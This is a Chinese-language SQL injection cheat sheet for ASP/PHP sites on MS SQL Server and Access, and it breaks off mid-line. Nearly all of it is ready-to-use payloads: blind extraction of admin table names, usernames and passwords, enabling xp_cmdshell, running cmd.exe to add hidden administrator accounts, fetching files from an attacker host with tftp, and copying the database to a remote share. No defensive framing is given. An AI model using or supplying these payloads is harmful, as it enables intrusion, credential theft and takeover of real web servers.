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ASP+PHP 标准sql注入语句(完整版)_脚本攻防_网络安全_
2023-05-24
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简介 ASP+PHP 标准sql注入语句(完整版)_脚本攻防_网络安全_
1.判断有无注入点
' ; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判断是否存在admin这张表
3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(密码字段名称password)>0)
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0) and 1=(select count(*) from admin where len(name)>6) 错误 and 1=(select count(*) from admin where len(name)>5) 正确 长度是6 and 1=(select count(*) from admin where len(name)=6) 正确 and 1=(select count(*) from admin where len(password)>11) 正确 and 1=(select count(*) from admin where len(password)>12) 错误 长度是12 and 1=(select count(*) from admin where len(password)=12) 正确
6.猜解字符
and 1=(select count(*) from admin where left(name,1)='a') ---猜解用户帐号的第一位 and 1=(select count(*) from admin where left(name,2)='ab')---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
'group by users.id having 1=1-- 'group by users.id, users.username, users.password, users.privs having 1=1-- '; insert into users values( 666, 'attacker', 'foobar', 0xffff )-- UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable'- UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id')- UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id','login_name')- UNION SELECT TOP 1 login_name FROM logintable- UNION SELECT TOP 1 password FROM logintable where login_name='Rahul'--
看服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)--
看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))--
判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
and 'sa'=(SELECT System_user)-- and user_name()='dbo'-- and 0<>(select user_name()--
看xp_cmdshell是否删除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')--
xp_cmdshell被删除,恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'-- ;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetpub\wwwroot\xplog70.dll'--
反向PING自己实验
;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
加帐号
;DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add'--
创建一个虚拟目录E盘:
;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e:\"'--
访问属性:(配合写入一个webshell)
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'
爆库 特殊技巧::%5c='\' 或者把/和\ 修改%5提交
and 0<>(select top 1 paths from newtable)--
得到库名(从1到5都是系统的id,6以上才可以判断)
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表 假设为 admin and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 来得到其他的表。 and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in ('id',...)) 来暴出其他的字段 and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到密码。。。。。假设存在user_id username ,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address')) and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判断id值 and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段 ?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin ?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)
得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));-- and (select top 1 swappass from swap)=1-- ;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test)-- ;use ku1;-- ;create table cmd (str image);-- 建立image类型的表cmd
存在xp_cmdshell的测试过程:
;exec master..xp_cmdshell 'dir' ;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号 ;exec master.dbo.sp_password null,jiaoniang$,1866574;-- ;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;-- ;exec master.dbo.xp_cmdshell 'net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- ;exec master.dbo.xp_cmdshell 'net localgroup administrators jiaoniang$ /add';-- exec master..xp_servicecontrol 'start', 'schedule' 启动服务 exec master..xp_servicecontrol 'start', 'server' ; DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add' ;DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add' '; exec master..xp_cmdshell 'tftp -i youip get file.exe'-- 利用TFTP上传文件 ;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\' ;declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\' ;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat'
如果被限制则可以。
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax')
查询构造:
SELECT * FROM news WHERE id=... AND topic=... AND ..... admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>' select 123;-- ;use master;-- :a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。 and 1<>(select count(email) from [user]);-- ;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';-- ;update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';-- ';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';-- ';update [users] set email=(select top 1 count(id) from password) where name='ffff';-- ';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';-- ';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-- insert into users values( 667,123,123,0xffff)-- insert into users values ( 123, 'admin''--', 'password', 0xffff)-- ;and user>0 ;and (select count(*) from sysobjects)>0 ;and (select count(*) from mysysobjects)>0 //为access数据库
枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>'刚才得到的表名')。
;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,一个个的读出,直到没有为止。
读字段是这样:
;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(sel
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